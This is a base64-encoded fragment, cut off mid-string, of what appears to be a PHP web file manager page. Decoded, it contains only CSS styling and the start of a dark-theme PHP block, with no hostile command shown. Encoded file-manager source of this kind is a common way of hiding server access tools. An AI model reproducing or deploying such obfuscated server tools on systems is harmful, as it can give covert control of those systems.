ICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIGlucHV0I3ByZXZpZXctaW1nLXpvb21DaGVja1t0eXBlPWNoZWNrYm94XSB7XG4gICAgICAgICAgICAgICAgZGlzcGxheTogbm9uZVxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICBpbnB1dCNwcmV2aWV3LWltZy16b29tQ2hlY2tbdHlwZT1jaGVja2JveF06Y2hlY2tlZH5sYWJlbD5pbWcge1xuICAgICAgICAgICAgICAgIG1heC13aWR0aDogbm9uZTtcbiAgICAgICAgICAgICAgICBtYXgtaGVpZ2h0OiBub25lO1xuICAgICAgICAgICAgICAgIGN1cnNvcjogem9vbS1vdXRcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgLmlubGluZS1hY3Rpb25zPmE+aSB7XG4gICAgICAgICAgICAgICAgZm9udC1zaXplOiAxZW07XG4gICAgICAgICAgICAgICAgbWFyZ2luLWxlZnQ6IDVweDtcbiAgICAgICAgICAgICAgICBiYWNrZ3JvdW5kOiAjMzc4NWMxO1xuICAgICAgICAgICAgICAgIGNvbG9yOiAjZmZmO1xuICAgICAgICAgICAgICAgIHBhZGRpbmc6IDNweCA0cHg7XG4gICAgICAgICAgICAgICAgYm9yZGVyLXJhZGl1czogM3B4O1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAucHJldmlldy12aWRlbyB7XG4gICAgICAgICAgICAgICAgcG9zaXRpb246IHJlbGF0aXZlO1xuICAgICAgICAgICAgICAgIG1heC13aWR0aDogMTAwJTtcbiAgICAgICAgICAgICAgICBoZWlnaHQ6IDA7XG4gICAgICAgICAgICAgICAgcGFkZGluZy1ib3R0b206IDYyLjUlO1xuICAgICAgICAgICAgICAgIG1hcmdpbi1ib3R0b206IDEwcHhcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgLnByZXZpZXctdmlkZW8gdmlkZW8ge1xuICAgICAgICAgICAgICAgIHBvc2l0aW9uOiBhYnNvbHV0ZTtcbiAgICAgICAgICAgICAgICB3aWR0aDogMTAwJTtcbiAgICAgICAgICAgICAgICBoZWlnaHQ6IDEwMCU7XG4gICAgICAgICAgICAgICAgbGVmdDogMDtcbiAgICAgICAgICAgICAgICB0b3A6IDA7XG4gICAgICAgICAgICAgICAgYmFja2dyb3VuZDogIzAwMFxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAuY29tcGFjdC10YWJsZSB7XG4gICAgICAgICAgICAgICAgYm9yZGVyOiAwO1xuICAgICAgICAgICAgICAgIHdpZHRoOiBhdXRvXG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIC5jb21wYWN0LXRhYmxlIHRkLFxuICAgICAgICAgICAgLmNvbXBhY3QtdGFibGUgdGgge1xuICAgICAgICAgICAgICAgIHdpZHRoOiAxMDBweDtcbiAgICAgICAgICAgICAgICBib3JkZXI6IDA7XG4gICAgICAgICAgICAgICAgdGV4dC1hbGlnbjogY2VudGVyXG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIC5jb21wYWN0LXRhYmxlIHRyOmhvdmVyIHRkIHtcbiAgICAgICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiAjZmZmXG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIC5maWxlbmFtZSB7XG4gICAgICAgICAgICAgICAgbWF4LXdpZHRoOiA0MjBweDtcbiAgICAgICAgICAgICAgICBvdmVyZmxvdzogaGlkZGVuO1xuICAgICAgICAgICAgICAgIHRleHQtb3ZlcmZsb3c6IGVsbGlwc2lzXG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIC5icmVhay13b3JkIHtcbiAgICAgICAgICAgICAgICB3b3JkLXdyYXA6IGJyZWFrLXdvcmQ7XG4gICAgICAgICAgICAgICAgbWFyZ2luLWxlZnQ6IDMwcHhcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgLmJyZWFrLXdvcmQuZmxvYXQtbGVmdCBhIHtcbiAgICAgICAgICAgICAgICBjb2xvcjogIzdkN2Q3ZFxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAuYnJlYWstd29yZCsuZmxvYXQtcmlnaHQge1xuICAgICAgICAgICAgICAgIHBhZGRpbmctcmlnaHQ6IDMwcHg7XG4gICAgICAgICAgICAgICAgcG9zaXRpb246IHJlbGF0aXZlXG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIC5icmVhay13b3JkKy5mbG9hdC1yaWdodD5hIHtcbiAgICAgICAgICAgICAgICBjb2xvcjogIzdkN2Q3ZDtcbiAgICAgICAgICAgICAgICBmb250LXNpemU6IDEuMmVtO1xuICAgICAgICAgICAgICAgIG1hcmdpbi1yaWdodDogNHB4XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgICNlZGl0b3Ige1xuICAgICAgICAgICAgICAgIHBvc2l0aW9uOiBhYnNvbHV0ZTtcbiAgICAgICAgICAgICAgICByaWdodDogMTVweDtcbiAgICAgICAgICAgICAgICB0b3A6IDEwMHB4O1xuICAgICAgICAgICAgICAgIGJvdHRvbTogMTVweDtcbiAgICAgICAgICAgICAgICBsZWZ0OiAxNXB4XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIEBtZWRpYSAobWF4LXdpZHRoOjQ4MXB4KSB7XG4gICAgICAgICAgICAgICAgI2VkaXRvciB7XG4gICAgICAgICAgICAgICAgICAgIHRvcDogMTUwcHg7XG4gICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAjbm9ybWFsLWVkaXRvciB7XG4gICAgICAgICAgICAgICAgYm9yZGVyLXJhZGl1czogM3B4O1xuICAgICAgICAgICAgICAgIGJvcmRlci13aWR0aDogMnB4O1xuICAgICAgICAgICAgICAgIHBhZGRpbmc6IDEwcHg7XG4gICAgICAgICAgICAgICAgb3V0bGluZTogbm9uZTtcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgLmJ0bi0yIHtcbiAgICAgICAgICAgICAgICBwYWRkaW5nOiA0cHggMTBweDtcbiAgICAgICAgICAgICAgICBmb250LXNpemU6IHNtYWxsO1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICBsaS5maWxlOmJlZm9yZSxcbiAgICAgICAgICAgIGxpLmZvbGRlcjpiZWZvcmUge1xuICAgICAgICAgICAgICAgIGZvbnQ6IG5vcm1hbCBub3JtYWwgbm9ybWFsIDE0cHhcLzEgRm9udEF3ZXNvbWU7XG4gICAgICAgICAgICAgICAgY29udGVudDogXCJcXGYwMTZcIjtcbiAgICAgICAgICAgICAgICBtYXJnaW4tcmlnaHQ6IDVweFxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICBsaS5mb2xkZXI6YmVmb3JlIHtcbiAgICAgICAgICAgICAgICBjb250ZW50OiBcIlxcZjExNFwiXG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIGkuZmEuZmEtZm9sZGVyLW8ge1xuICAgICAgICAgICAgICAgIGNvbG9yOiAjMDE1N2IzXG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIGkuZmEuZmEtcGljdHVyZS1vIHtcbiAgICAgICAgICAgICAgICBjb2xvcjogIzI2Yjk5YVxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICBpLmZhLmZhLWZpbGUtYXJjaGl2ZS1vIHtcbiAgICAgICAgICAgICAgICBjb2xvcjogI2RhN2Q3ZFxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAuYnRuLTIgaS5mYS5mYS1maWxlLWFyY2hpdmUtbyB7XG4gICAgICAgICAgICAgICAgY29sb3I6IGluaGVyaXRcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgaS5mYS5mYS1jc3MzIHtcbiAgICAgICAgICAgICAgICBjb2xvcjogI2YzNmZhMFxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICBpLmZhLmZhLWZpbGUtY29kZS1vIHtcbiAgICAgICAgICAgICAgICBjb2xvcjogIzAwN2JmZlxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICBpLmZhLmZhLWNvZGUge1xuICAgICAgICAgICAgICAgIGNvbG9yOiAjY2M0YjRjXG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIGkuZmEuZmEtZmlsZS10ZXh0LW8ge1xuICAgICAgICAgICAgICAgIGNvbG9yOiAjMDA5NmU2XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIGkuZmEuZmEtaHRtbDUge1xuICAgICAgICAgICAgICAgIGNvbG9yOiAjZDc1ZTcyXG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIGkuZmEuZmEtZmlsZS1leGNlbC1vIHtcbiAgICAgICAgICAgICAgICBjb2xvcjogIzA5YzU1ZFxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICBpLmZhLmZhLWZpbGUtcG93ZXJwb2ludC1vIHtcbiAgICAgICAgICAgICAgICBjb2xvcjogI2Y2NzEyZVxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICBpLmdvLWJhY2sge1xuICAgICAgICAgICAgICAgIGZvbnQtc2l6ZTogMS4yZW07XG4gICAgICAgICAgICAgICAgY29sb3I6ICMwMDdiZmY7XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIC5tYWluLW5hdiB7XG4gICAgICAgICAgICAgICAgcGFkZGluZzogMC4ycmVtIDFyZW07XG4gICAgICAgICAgICAgICAgYm94LXNoYWRvdzogMCA0cHggNXB4IDAgcmdiYSgwLCAwLCAwLCAuMTQpLCAwIDFweCAxMHB4IDAgcmdiYSgwLCAwLCAwLCAuMTIpLCAwIDJweCA0cHggLTFweCByZ2JhKDAsIDAsIDAsIC4yKVxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAuZGF0YVRhYmxlc19maWx0ZXIge1xuICAgICAgICAgICAgICAgIGRpc3BsYXk6IG5vbmU7XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIHRhYmxlLmRhdGFUYWJsZSB0aGVhZCAuc29ydGluZyB7XG4gICAgICAgICAgICAgICAgY3Vyc29yOiBwb2ludGVyO1xuICAgICAgICAgICAgICAgIGJhY2tncm91bmQtcmVwZWF0OiBuby1yZXBlYXQ7XG4gICAgICAgICAgICAgICAgYmFja2dyb3VuZC1wb3NpdGlvbjogY2VudGVyIHJpZ2h0O1xuICAgICAgICAgICAgICAgIGJhY2tncm91bmQtaW1hZ2U6IHVybCgnZGF0YTppbWFnZVwvcG5nO2Jhc2U2NCxpVkJPUncwS0dnb0FBQUFOU1VoRVVnQUFBQk1BQUFBVENBUUFBQURZV2Y1SEFBQUFrRWxFUVZRb3o3WFFNUTVBUUJDRjRkV1FTSnhDNXd3YXgxQ3ExZTdCQWR4RDVTTCtUcVwvUUNNMW9OaUppZHdveDAzNTVtWG5HXC9EckV0SVE2YXppb05aUXhJMHlrUGhUUUl3aENSK0JtQll0bEs3a0xKWXdXQ2NKQTlNNHFkclpyZDhwUGpaV1B0T3FkUlF5MzIwWVNWMTdPYXRGQzRldXRzNnozOUdZTUtSUENUS1k5VW5QUTZQK0d0TVJmR3RQbkJDaXFoQWVKUG1rcUFBQUFBRWxGVGtTdVFtQ0MnKTtcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgdGFibGUuZGF0YVRhYmxlIHRoZWFkIC5zb3J0aW5nX2FzYyB7XG4gICAgICAgICAgICAgICAgY3Vyc29yOiBwb2ludGVyO1xuICAgICAgICAgICAgICAgIGJhY2tncm91bmQtcmVwZWF0OiBuby1yZXBlYXQ7XG4gICAgICAgICAgICAgICAgYmFja2dyb3VuZC1wb3NpdGlvbjogY2VudGVyIHJpZ2h0O1xuICAgICAgICAgICAgICAgIGJhY2tncm91bmQtaW1hZ2U6IHVybCgnZGF0YTppbWFnZVwvcG5nO2Jhc2U2NCxpVkJPUncwS0dnb0FBQUFOU1VoRVVnQUFBQk1BQUFBVENBWUFBQUJ5VURiTUFBQUFaMGxFUVZRNHkyTmdHTEtncXVFdUZ4QlBBR0kyYWhoV0NzU1wvZ0RpYlVvTzBnUGd4RVA4SDR0dEFyRXl1UVl4QVBCZHFFQXhQQkltVFk1Z2pFTDlETSt3VEVOdVFhaEF2RU85RE13aUdkd0F4T3ltR0pRTHhUeUQramdXRHhDTVpSc0VvR0FWb0FBRGVlbXd0UGNaSTJ3QUFBQUJKUlU1RXJrSmdnZz09Jyk7XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIHRhYmxlLmRhdGFUYWJsZSB0aGVhZCAuc29ydGluZ19kZXNjIHtcbiAgICAgICAgICAgICAgICBjdXJzb3I6IHBvaW50ZXI7XG4gICAgICAgICAgICAgICAgYmFja2dyb3VuZC1yZXBlYXQ6IG5vLXJlcGVhdDtcbiAgICAgICAgICAgICAgICBiYWNrZ3JvdW5kLXBvc2l0aW9uOiBjZW50ZXIgcmlnaHQ7XG4gICAgICAgICAgICAgICAgYmFja2dyb3VuZC1pbWFnZTogdXJsKCdkYXRhOmltYWdlXC9wbmc7YmFzZTY0LGlWQk9SdzBLR2dvQUFBQU5TVWhFVWdBQUFCTUFBQUFUQ0FZQUFBQnlVRGJNQUFBQVpVbEVRVlE0eTJOZ0dBV2pZQlNnZ2FxR3U1RkFcL0JPSXYyUEJJUEZFVWd4akIrSWRRUHdmQzk0SHhMeWt1czRHaUQraEdmUU9pQjNKOFNvakVFOUVNMnd1U0p6Y3NGTUc0dHRRZ3g0RHNSYWxrWkVOeEwrQXVKUWFNY3NHeEJPQW1Hdm9wazhBVnoxc0xaZ2cwYnNBQUFBQVNVVk9SSzVDWUlJPScpO1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICB0YWJsZS5kYXRhVGFibGUgdGhlYWQgdHI6Zmlyc3QtY2hpbGQgdGguY3VzdG9tLWNoZWNrYm94LWhlYWRlcjpmaXJzdC1jaGlsZCB7XG4gICAgICAgICAgICAgICAgYmFja2dyb3VuZC1pbWFnZTogbm9uZTtcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgLmZvb3Rlci1hY3Rpb24gbGkge1xuICAgICAgICAgICAgICAgIG1hcmdpbi1ib3R0b206IDEwcHg7XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIC5hcHAtdi10aXRsZSB7XG4gICAgICAgICAgICAgICAgZm9udC1zaXplOiAyNHB4O1xuICAgICAgICAgICAgICAgIGZvbnQtd2VpZ2h0OiAzMDA7XG4gICAgICAgICAgICAgICAgbGV0dGVyLXNwYWNpbmc6IC0uNXB4O1xuICAgICAgICAgICAgICAgIHRleHQtdHJhbnNmb3JtOiB1cHBlcmNhc2U7XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIGhyLmN1c3RvbS1ociB7XG4gICAgICAgICAgICAgICAgYm9yZGVyLXRvcDogMXB4IGRhc2hlZCAjOGM4YjhiO1xuICAgICAgICAgICAgICAgIGJvcmRlci1ib3R0b206IDFweCBkYXNoZWQgI2ZmZjtcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgI3NuYWNrYmFyIHtcbiAgICAgICAgICAgICAgICB2aXNpYmlsaXR5OiBoaWRkZW47XG4gICAgICAgICAgICAgICAgbWluLXdpZHRoOiAyNTBweDtcbiAgICAgICAgICAgICAgICBtYXJnaW4tbGVmdDogLTEyNXB4O1xuICAgICAgICAgICAgICAgIGJhY2tncm91bmQtY29sb3I6ICMzMzM7XG4gICAgICAgICAgICAgICAgY29sb3I6ICNmZmY7XG4gICAgICAgICAgICAgICAgdGV4dC1hbGlnbjogY2VudGVyO1xuICAgICAgICAgICAgICAgIGJvcmRlci1yYWRpdXM6IDJweDtcbiAgICAgICAgICAgICAgICBwYWRkaW5nOiAxNnB4O1xuICAgICAgICAgICAgICAgIHBvc2l0aW9uOiBmaXhlZDtcbiAgICAgICAgICAgICAgICB6LWluZGV4OiAxO1xuICAgICAgICAgICAgICAgIGxlZnQ6IDUwJTtcbiAgICAgICAgICAgICAgICBib3R0b206IDMwcHg7XG4gICAgICAgICAgICAgICAgZm9udC1zaXplOiAxN3B4O1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAjc25hY2tiYXIuc2hvdyB7XG4gICAgICAgICAgICAgICAgdmlzaWJpbGl0eTogdmlzaWJsZTtcbiAgICAgICAgICAgICAgICAtd2Via2l0LWFuaW1hdGlvbjogZmFkZWluIDAuNXMsIGZhZGVvdXQgMC41cyAyLjVzO1xuICAgICAgICAgICAgICAgIGFuaW1hdGlvbjogZmFkZWluIDAuNXMsIGZhZGVvdXQgMC41cyAyLjVzO1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICBALXdlYmtpdC1rZXlmcmFtZXMgZmFkZWluIHtcbiAgICAgICAgICAgICAgICBmcm9tIHtcbiAgICAgICAgICAgICAgICAgICAgYm90dG9tOiAwO1xuICAgICAgICAgICAgICAgICAgICBvcGFjaXR5OiAwO1xuICAgICAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgICAgIHRvIHtcbiAgICAgICAgICAgICAgICAgICAgYm90dG9tOiAzMHB4O1xuICAgICAgICAgICAgICAgICAgICBvcGFjaXR5OiAxO1xuICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgQGtleWZyYW1lcyBmYWRlaW4ge1xuICAgICAgICAgICAgICAgIGZyb20ge1xuICAgICAgICAgICAgICAgICAgICBib3R0b206IDA7XG4gICAgICAgICAgICAgICAgICAgIG9wYWNpdHk6IDA7XG4gICAgICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAgICAgdG8ge1xuICAgICAgICAgICAgICAgICAgICBib3R0b206IDMwcHg7XG4gICAgICAgICAgICAgICAgICAgIG9wYWNpdHk6IDE7XG4gICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICBALXdlYmtpdC1rZXlmcmFtZXMgZmFkZW91dCB7XG4gICAgICAgICAgICAgICAgZnJvbSB7XG4gICAgICAgICAgICAgICAgICAgIGJvdHRvbTogMzBweDtcbiAgICAgICAgICAgICAgICAgICAgb3BhY2l0eTogMTtcbiAgICAgICAgICAgICAgICB9XG5cbiAgICAgICAgICAgICAgICB0byB7XG4gICAgICAgICAgICAgICAgICAgIGJvdHRvbTogMDtcbiAgICAgICAgICAgICAgICAgICAgb3BhY2l0eTogMDtcbiAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIEBrZXlmcmFtZXMgZmFkZW91dCB7XG4gICAgICAgICAgICAgICAgZnJvbSB7XG4gICAgICAgICAgICAgICAgICAgIGJvdHRvbTogMzBweDtcbiAgICAgICAgICAgICAgICAgICAgb3BhY2l0eTogMTtcbiAgICAgICAgICAgICAgICB9XG5cbiAgICAgICAgICAgICAgICB0byB7XG4gICAgICAgICAgICAgICAgICAgIGJvdHRvbTogMDtcbiAgICAgICAgICAgICAgICAgICAgb3BhY2l0eTogMDtcbiAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgICNtYWluLXRhYmxlIHNwYW4uYmFkZ2Uge1xuICAgICAgICAgICAgICAgIGJvcmRlci1ib3R0b206IDJweCBzb2xpZCAjZjhmOWZhXG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgICNtYWluLXRhYmxlIHNwYW4uYmFkZ2U6bnRoLWNoaWxkKDEpIHtcbiAgICAgICAgICAgICAgICBib3JkZXItY29sb3I6ICNkZjQyMjdcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgI21haW4tdGFibGUgc3Bhbi5iYWRnZTpudGgtY2hpbGQoMikge1xuICAgICAgICAgICAgICAgIGJvcmRlci1jb2xvcjogI2Y4YjYwMFxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAjbWFpbi10YWJsZSBzcGFuLmJhZGdlOm50aC1jaGlsZCgzKSB7XG4gICAgICAgICAgICAgICAgYm9yZGVyLWNvbG9yOiAjMDBiZDYwXG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgICNtYWluLXRhYmxlIHNwYW4uYmFkZ2U6bnRoLWNoaWxkKDQpIHtcbiAgICAgICAgICAgICAgICBib3JkZXItY29sb3I6ICM0NTgxZmZcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgI21haW4tdGFibGUgc3Bhbi5iYWRnZTpudGgtY2hpbGQoNSkge1xuICAgICAgICAgICAgICAgIGJvcmRlci1jb2xvcjogI2FjNjhmY1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAjbWFpbi10YWJsZSBzcGFuLmJhZGdlOm50aC1jaGlsZCg2KSB7XG4gICAgICAgICAgICAgICAgYm9yZGVyLWNvbG9yOiAjNDVjM2QyXG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIEBtZWRpYSBvbmx5IHNjcmVlbiBhbmQgKG1pbi1kZXZpY2Utd2lkdGg6NzY4cHgpIGFuZCAobWF4LWRldmljZS13aWR0aDoxMDI0cHgpIGFuZCAob3JpZW50YXRpb246bGFuZHNjYXBlKSBhbmQgKC13ZWJraXQtbWluLWRldmljZS1waXhlbC1yYXRpbzoyKSB7XG4gICAgICAgICAgICAgICAgLm5hdmJhci1jb2xsYXBzZSAuY29sLXhzLTYge1xuICAgICAgICAgICAgICAgICAgICBwYWRkaW5nOiAwO1xuICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgLmJ0bi5hY3RpdmUuZm9jdXMsXG4gICAgICAgICAgICAuYnRuLmFjdGl2ZTpmb2N1cyxcbiAgICAgICAgICAgIC5idG4uZm9jdXMsXG4gICAgICAgICAgICAuYnRuLmZvY3VzOmFjdGl2ZSxcbiAgICAgICAgICAgIC5idG46YWN0aXZlOmZvY3VzLFxuICAgICAgICAgICAgLmJ0bjpmb2N1cyB7XG4gICAgICAgICAgICAgICAgb3V0bGluZTogMCAhaW1wb3J0YW50O1xuICAgICAgICAgICAgICAgIG91dGxpbmUtb2Zmc2V0OiAwICFpbXBvcnRhbnQ7XG4gICAgICAgICAgICAgICAgYmFja2dyb3VuZC1pbWFnZTogbm9uZSAhaW1wb3J0YW50O1xuICAgICAgICAgICAgICAgIC13ZWJraXQtYm94LXNoYWRvdzogbm9uZSAhaW1wb3J0YW50O1xuICAgICAgICAgICAgICAgIGJveC1zaGFkb3c6IG5vbmUgIWltcG9ydGFudFxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAubGRzLWZhY2Vib29rIHtcbiAgICAgICAgICAgICAgICBkaXNwbGF5OiBub25lO1xuICAgICAgICAgICAgICAgIHBvc2l0aW9uOiByZWxhdGl2ZTtcbiAgICAgICAgICAgICAgICB3aWR0aDogNjRweDtcbiAgICAgICAgICAgICAgICBoZWlnaHQ6IDY0cHhcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgLmxkcy1mYWNlYm9vayBkaXYsXG4gICAgICAgICAgICAubGRzLWZhY2Vib29rLnNob3ctbWUge1xuICAgICAgICAgICAgICAgIGRpc3BsYXk6IGlubGluZS1ibG9ja1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAubGRzLWZhY2Vib29rIGRpdiB7XG4gICAgICAgICAgICAgICAgcG9zaXRpb246IGFic29sdXRlO1xuICAgICAgICAgICAgICAgIGxlZnQ6IDZweDtcbiAgICAgICAgICAgICAgICB3aWR0aDogMTNweDtcbiAgICAgICAgICAgICAgICBiYWNrZ3JvdW5kOiAjMDA3YmZmO1xuICAgICAgICAgICAgICAgIGFuaW1hdGlvbjogbGRzLWZhY2Vib29rIDEuMnMgY3ViaWMtYmV6aWVyKDAsIC41LCAuNSwgMSkgaW5maW5pdGVcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgLmxkcy1mYWNlYm9vayBkaXY6bnRoLWNoaWxkKDEpIHtcbiAgICAgICAgICAgICAgICBsZWZ0OiA2cHg7XG4gICAgICAgICAgICAgICAgYW5pbWF0aW9uLWRlbGF5OiAtLjI0c1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAubGRzLWZhY2Vib29rIGRpdjpudGgtY2hpbGQoMikge1xuICAgICAgICAgICAgICAgIGxlZnQ6IDI2cHg7XG4gICAgICAgICAgICAgICAgYW5pbWF0aW9uLWRlbGF5OiAtLjEyc1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAubGRzLWZhY2Vib29rIGRpdjpudGgtY2hpbGQoMykge1xuICAgICAgICAgICAgICAgIGxlZnQ6IDQ1cHg7XG4gICAgICAgICAgICAgICAgYW5pbWF0aW9uLWRlbGF5OiAwc1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICBAa2V5ZnJhbWVzIGxkcy1mYWNlYm9vayB7XG4gICAgICAgICAgICAgICAgMCUge1xuICAgICAgICAgICAgICAgICAgICB0b3A6IDZweDtcbiAgICAgICAgICAgICAgICAgICAgaGVpZ2h0OiA1MXB4XG4gICAgICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAgICAgMTAwJSxcbiAgICAgICAgICAgICAgICA1MCUge1xuICAgICAgICAgICAgICAgICAgICB0b3A6IDE5cHg7XG4gICAgICAgICAgICAgICAgICAgIGhlaWdodDogMjZweFxuICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgdWwjc2VhcmNoLXdyYXBwZXIge1xuICAgICAgICAgICAgICAgIHBhZGRpbmctbGVmdDogMDtcbiAgICAgICAgICAgICAgICBib3JkZXI6IDFweCBzb2xpZCAjZWNlY2VjY2M7XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIHVsI3NlYXJjaC13cmFwcGVyIGxpIHtcbiAgICAgICAgICAgICAgICBsaXN0LXN0eWxlOiBub25lO1xuICAgICAgICAgICAgICAgIHBhZGRpbmc6IDVweDtcbiAgICAgICAgICAgICAgICBib3JkZXItYm90dG9tOiAxcHggc29saWQgI2VjZWNlY2NjO1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICB1bCNzZWFyY2gtd3JhcHBlciBsaTpudGgtY2hpbGQob2RkKSB7XG4gICAgICAgICAgICAgICAgYmFja2dyb3VuZDogI2Y5ZjlmOWNjO1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAuYy1wcmV2aWV3LWltZyB7XG4gICAgICAgICAgICAgICAgbWF4LXdpZHRoOiAzMDBweDtcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgLmJvcmRlci1yYWRpdXMtMCB7XG4gICAgICAgICAgICAgICAgYm9yZGVyLXJhZGl1czogMDtcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgLmZsb2F0LXJpZ2h0IHtcbiAgICAgICAgICAgICAgICBmbG9hdDogcmlnaHQ7XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIC50YWJsZS1ob3Zlcj50Ym9keT50cjpob3Zlcj50ZDpmaXJzdC1jaGlsZCB7XG4gICAgICAgICAgICAgICAgYm9yZGVyLWxlZnQ6IDFweCBzb2xpZCAjMWI3N2ZkO1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAjbWFpbi10YWJsZSB0ci5ldmVuIHtcbiAgICAgICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiAjRjhGOUZhO1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAuZmlsZW5hbWU+YT5pIHtcbiAgICAgICAgICAgICAgICBtYXJnaW4tcmlnaHQ6IDNweDtcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgLmZzLTcge1xuICAgICAgICAgICAgICAgIGZvbnQtc2l6ZTogMTRweDtcbiAgICAgICAgICAgIH1cbiAgICAgICAgPFwvc3R5bGU+XG4gICAgICAgIDw/cGhwXG4gICAgICAgIGlmIChGTV9USEVNRSA9PSBcImRhcmtcIik6ID8+XG4gICAgICAgICAgICA8c3R5bGU+XG4gICAgICAgICAgICAgICAgOnJvb3Qge1xuICAgICAgICAgICAgICAgICAgICAtLWJzLWJnLW9wYWNpdHk6IDE7XG4gICAgICAgICAgICAgICAgICAgIC0tYmctY29sb3I6ICNmM2RhYTY7XG4gICAgICAgICAgICAgICAgICAgIC0tYnMtZGFyay1yZ2I6IDI4LCAzNiwgNDEgIWltcG9ydGFudDtcbiAgICAgICAgICAgICAgICAgICAgLS1icy1iZy1vcGFjaXR5OiAxO1xuICAgICAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgICAgIGJvZHkudGhlbWUtZGFyayB7XG4gICAgICAgICAgICAgICAgICAgIGJhY2tncm91bmQtaW1hZ2U6IGxpbmVhci1ncmFkaWVudCg5MGRlZywgIzFjMjQyOSwgIzI2MzIzOCk7XG4gICAgICAgICAgICAgICAgICAgIGNvbG9yOiAjQ0ZEOERDO1xuICAgICAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgICAgIC5saXN0LWdyb3VwIC5saXN0LWdyb3VwLWl0ZW0ge1xuICAgICAgICAgICAgICAgICAgICBiYWNrZ3JvdW5kOiAjMzQzYTQwO1xuICAgICAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgICAgIC50aGVtZS1kYXJrIC5uYXZiYXItbmF2IGksXG4gICAgICAgICAgICAgICAgLm5hdmJhci1uYXYgLmRyb3Bkb3duLXRvZ2dsZSxcbiAgICAgICAgICAgICAgICAuYnJlYWstd29yZCB7XG4gICAgICAgICAgICAgICAgICAgIGNvbG9yOiAjQ0ZEOERDO1xuICAgICAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgICAgIGEsXG4gICAgICAgICAgICAgICAgYTpob3ZlcixcbiAgICAgICAgICAgICAgICBhOnZpc2l0ZWQsXG4gICAgICAgICAgICAgICAgYTphY3R